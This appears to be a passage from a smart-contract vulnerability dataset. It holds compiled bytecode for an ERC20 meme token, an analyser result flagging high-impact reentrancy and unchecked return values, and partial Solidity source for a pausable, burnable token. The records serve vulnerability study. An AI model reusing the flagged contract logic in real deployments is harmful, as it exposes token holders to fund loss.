ffffffffffffffffffff1614610e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e629061320a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f316117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb59061320a565b60405180910390fd5b683635c9adc5dea00000601581905550683635c9adc5dea00000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4a53484942000000000000000000000000000000000000000000000000000000815250905090565b600061105a6110536117f5565b84846119c8565b6001905092915050565b61106c6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f09061320a565b60405180910390fd5b6000811161110657600080fd5b611135606461112783683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b60168190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661117f6117f5565b73ffffffffffffffffffffffffffffffffffffffff161461119f57600080fd5b60006111aa30610d85565b90506111b581612171565b50565b6111c06117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461124d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112449061320a565b60405180910390fd5b60148054906101000a900460ff161561129b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112929061328a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061132b30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006117fd565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561137157600080fd5b505afa158015611385573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a99190612bdd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561140b57600080fd5b505afa15801561141f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114439190612bdd565b6040518363ffffffff1660e01b815260040161146092919061309a565b602060405180830381600087803b15801561147a57600080fd5b505af115801561148e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b29190612bdd565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153b30610d85565b600080611546610fe0565b426040518863ffffffff1660e01b8152600401611568969594939291906130ec565b6060604051808303818588803b15801561158157600080fd5b505af1158015611595573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115ba9190612d89565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff02191690831515021790555061162360646116156001683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b601581905550611659606461164b6002683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b60168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016117189291906130c3565b602060405180830381600087803b15801561173257600080fd5b505af1158015611746573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061176a9190612d37565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561186d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118649061326a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d4906131aa565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119bb91906132aa565b60405180910390a3505050565b60008111611a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a029061322a565b60405180910390fd5b6001601460186101000a81548160ff021916908315150217905550611a2e610fe0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a9c5750611a6c610fe0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f5e57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b4c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bba5750601460179054906101000a900460ff165b15611c2757601554811115611bce57600080fd5b60165481611bdb84610d85565b611be591906133e0565b1115611c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1d9061324a565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ccf5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d285750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611df657600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611dd15750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611dda57600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611e0130610d85565b9050611e556064611e47601254611e39601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d85565b611fd290919063ffffffff16565b61204d90919063ffffffff16565b811115611eb157611eae6064611ea0601254611e92601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d85565b611fd290919063ffffffff16565b61204d90919063ffffffff16565b90505b601460159054906101000a900460ff16158015611f1c5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f345750601460169054906101000a900460ff165b15611f5c57611f4281612171565b60004790506000811115611f5a57611f5947612097565b5b505b505b611f6983838361246b565b505050565b6000838311158290611fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fad9190613168565b60405180910390fd5b5060008385611fc591906134c1565b9050809150509392505050565b600080831415611fe55760009050612047565b60008284611ff39190613467565b90508284826120029190613436565b14612042576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612039906131ea565b60405180910390fd5b809150505b92915050565b600061208f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061247b565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120ff573d6000803e3d6000fd5b5050565b600060095482111561214a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121419061318a565b60405180910390fd5b60006121546124de565b9050612169818461204d90919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156121fd5781602001602082028036833780820191505090505b509050308160008151811061223b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122dd57600080fd5b505afa1580156122f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123159190612bdd565b8160018151811061234f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123b630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117fd565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161241a9594939291906132c5565b600060405180830381600087803b15801561243457600080fd5b505af1158015612448573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b612476838383612509565b505050565b600080831182906124c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b99190613168565b60405180910390fd5b50600083856124d19190613436565b9050809150509392505050565b60008060006124eb6126d4565b91509150612502818361204d90919063ffffffff16565b9250505090565b60008060008060008061251b87612736565b95509550955095509550955061257986600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127cb90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061260e85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265a81612873565b6126648483612930565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126c191906132aa565b60405180910390a3505050505050505050565b600080600060095490506000683635c9adc5dea00000905061270a683635c9adc5dea0000060095461204d90919063ffffffff16565b82101561272957600954683635c9adc5dea00000935093505050612732565b81819350935050505b9091565b600080600080600080600080600061274c61296a565b61276a576127658a600b60020154600b60030154612981565b612780565b61277f8a600b60000154600b60010154612981565b5b92509250925060006127906124de565b905060008060006127a38e878787612a17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061280d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f6e565b905092915050565b600080828461282491906133e0565b905083811015612869576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612860906131ca565b60405180910390fd5b8091505092915050565b600061287d6124de565b905060006128948284611fd290919063ffffffff16565b90506128e881600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612945826009546127cb90919063ffffffff16565b60098190555061296081600a5461281590919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b6000806000806129ad606461299f888a611fd290919063ffffffff16565b61204d90919063ffffffff16565b905060006129d760646129c9888b611fd290919063ffffffff16565b61204d90919063ffffffff16565b90506000612a00826129f2858c6127cb90919063ffffffff16565b6127cb90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a308589611fd290919063ffffffff16565b90506000612a478689611fd290919063ffffffff16565b90506000612a5e8789611fd290919063ffffffff16565b90506000612a8782612a7985876127cb90919063ffffffff16565b6127cb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612ab3612aae8461335f565b61333a565b90508083825260208201905082856020860282011115612ad257600080fd5b60005b85811015612b025781612ae88882612b0c565b845260208401935060208301925050600181019050612ad5565b5050509392505050565b600081359050612b1b816138d6565b92915050565b600081519050612b30816138d6565b92915050565b600082601f830112612b4757600080fd5b8135612b57848260208601612aa0565b91505092915050565b600081359050612b6f816138ed565b92915050565b600081519050612b84816138ed565b92915050565b600081359050612b9981613904565b92915050565b600081519050612bae81613904565b92915050565b600060208284031215612bc657600080fd5b6000612bd484828501612b0c565b91505092915050565b600060208284031215612bef57600080fd5b6000612bfd84828501612b21565b91505092915050565b60008060408385031215612c1957600080fd5b6000612c2785828601612b0c565b9250506020612c3885828601612b0c565b9150509250929050565b600080600060608486031215612c5757600080fd5b6000612c6586828701612b0c565b9350506020612c7686828701612b0c565b9250506040612c8786828701612b8a565b9150509250925092565b60008060408385031215612ca457600080fd5b6000612cb285828601612b0c565b9250506020612cc385828601612b8a565b9150509250929050565b600060208284031215612cdf57600080fd5b600082013567ffffffffffffffff811115612cf957600080fd5b612d0584828501612b36565b91505092915050565b600060208284031215612d2057600080fd5b6000612d2e84828501612b60565b91505092915050565b600060208284031215612d4957600080fd5b6000612d5784828501612b75565b91505092915050565b600060208284031215612d7257600080fd5b6000612d8084828501612b8a565b91505092915050565b600080600060608486031215612d9e57600080fd5b6000612dac86828701612b9f565b9350506020612dbd86828701612b9f565b9250506040612dce86828701612b9f565b9150509250925092565b60008060008060808587031215612dee57600080fd5b6000612dfc87828801612b8a565b9450506020612e0d87828801612b8a565b9350506040612e1e87828801612b8a565b9250506060612e2f87828801612b8a565b91505092959194509250565b6000612e478383612e53565b60208301905092915050565b612e5c816134f5565b82525050565b612e6b816134f5565b82525050565b6000612e7c8261339b565b612e8681856133be565b9350612e918361338b565b8060005b83811015612ec2578151612ea98882612e3b565b9750612eb4836133b1565b925050600181019050612e95565b5085935050505092915050565b612ed881613507565b82525050565b612ee78161354a565b82525050565b6000612ef8826133a6565b612f0281856133cf565b9350612f1281856020860161355c565b612f1b81613696565b840191505092915050565b6000612f33602a836133cf565b9150612f3e826136a7565b604082019050919050565b6000612f566022836133cf565b9150612f61826136f6565b604082019050919050565b6000612f79601b836133cf565b9150612f8482613745565b602082019050919050565b6000612f9c6021836133cf565b9150612fa78261376e565b604082019050919050565b6000612fbf6020836133cf565b9150612fca826137bd565b602082019050919050565b6000612fe26029836133cf565b9150612fed826137e6565b604082019050919050565b6000613005601a836133cf565b915061301082613835565b602082019050919050565b60006130286024836133cf565b91506130338261385e565b604082019050919050565b600061304b6017836133cf565b9150613056826138ad565b602082019050919050565b61306a81613533565b82525050565b6130798161353d565b82525050565b60006020820190506130946000830184612e62565b92915050565b60006040820190506130af6000830185612e62565b6130bc6020830184612e62565b9392505050565b60006040820190506130d86000830185612e62565b6130e56020830184613061565b9392505050565b600060c0820190506131016000830189612e62565b61310e6020830188613061565b61311b6040830187612ede565b6131286060830186612ede565b6131356080830185612e62565b61314260a0830184613061565b979650505050505050565b60006020820190506131626000830184612ecf565b92915050565b600060208201905081810360008301526131828184612eed565b905092915050565b600060208201905081810360008301526131a381612f26565b9050919050565b600060208201905081810360008301526131c381612f49565b9050919050565b600060208201905081810360008301526131e381612f6c565b9050919050565b6000602082019050818103600083015261320381612f8f565b9050919050565b6000602082019050818103600083015261322381612fb2565b9050919050565b6000602082019050818103600083015261324381612fd5565b9050919050565b6000602082019050818103600083015261326381612ff8565b9050919050565b600060208201905081810360008301526132838161301b565b9050919050565b600060208201905081810360008301526132a38161303e565b9050919050565b60006020820190506132bf6000830184613061565b92915050565b600060a0820190506132da6000830188613061565b6132e76020830187612ede565b81810360408301526132f98186612e71565b90506133086060830185612e62565b6133156080830184613061565b9695505050505050565b60006020820190506133346000830184613070565b92915050565b6000613344613355565b9050613350828261358f565b919050565b6000604051905090565b600067ffffffffffffffff82111561337a57613379613667565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133eb82613533565b91506133f683613533565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561342b5761342a613609565b5b828201905092915050565b600061344182613533565b915061344c83613533565b92508261345c5761345b613638565b5b828204905092915050565b600061347282613533565b915061347d83613533565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134b6576134b5613609565b5b828202905092915050565b60006134cc82613533565b91506134d783613533565b9250828210156134ea576134e9613609565b5b828203905092915050565b600061350082613513565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061355582613533565b9050919050565b60005b8381101561357a57808201518184015260208101905061355f565b83811115613589576000848401525b50505050565b61359882613696565b810181811067ffffffffffffffff821117156135b7576135b6613667565b5b80604052505050565b60006135cb82613533565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156135fe576135fd613609565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6138df816134f5565b81146138ea57600080fd5b50565b6138f681613507565b811461390157600080fd5b50565b61390d81613533565b811461391857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a4995d6457e98dcebb70fd4155f4d842d5839ac547e4d7e67c6527812ee2a7df64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,356 |
0x241ba672574a78a3a604cdd0a94429a73a84a324
|
pragma solidity ^0.4.24;
// File: contracts\token\ERC20\ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts\math\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: contracts\token\ERC20\StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param _account The account that will receive the created tokens.
* @param _amount The amount that will be created.
*/
function _mint(address _account, uint256 _amount) internal {
require(_account != 0);
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burn(address _account, uint256 _amount) internal {
require(_account != 0);
require(balances[_account] > _amount);
totalSupply_ = totalSupply_.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal _burn function.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burnFrom(address _account, uint256 _amount) internal {
require(allowed[_account][msg.sender] > _amount);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount);
_burn(_account, _amount);
}
}
// File: contracts\token\ERC20\BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
_burnFrom(_from, _value);
}
/**
* @dev Overrides StandardToken._burn in order for burn and burnFrom to emit
* an additional Burn event.
*/
function _burn(address _who, uint256 _value) internal {
super._burn(_who, _value);
emit Burn(_who, _value);
}
}
// File: contracts\ownership\Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts\lifecycle\Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
// File: contracts\token\ERC20\PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is BurnableToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
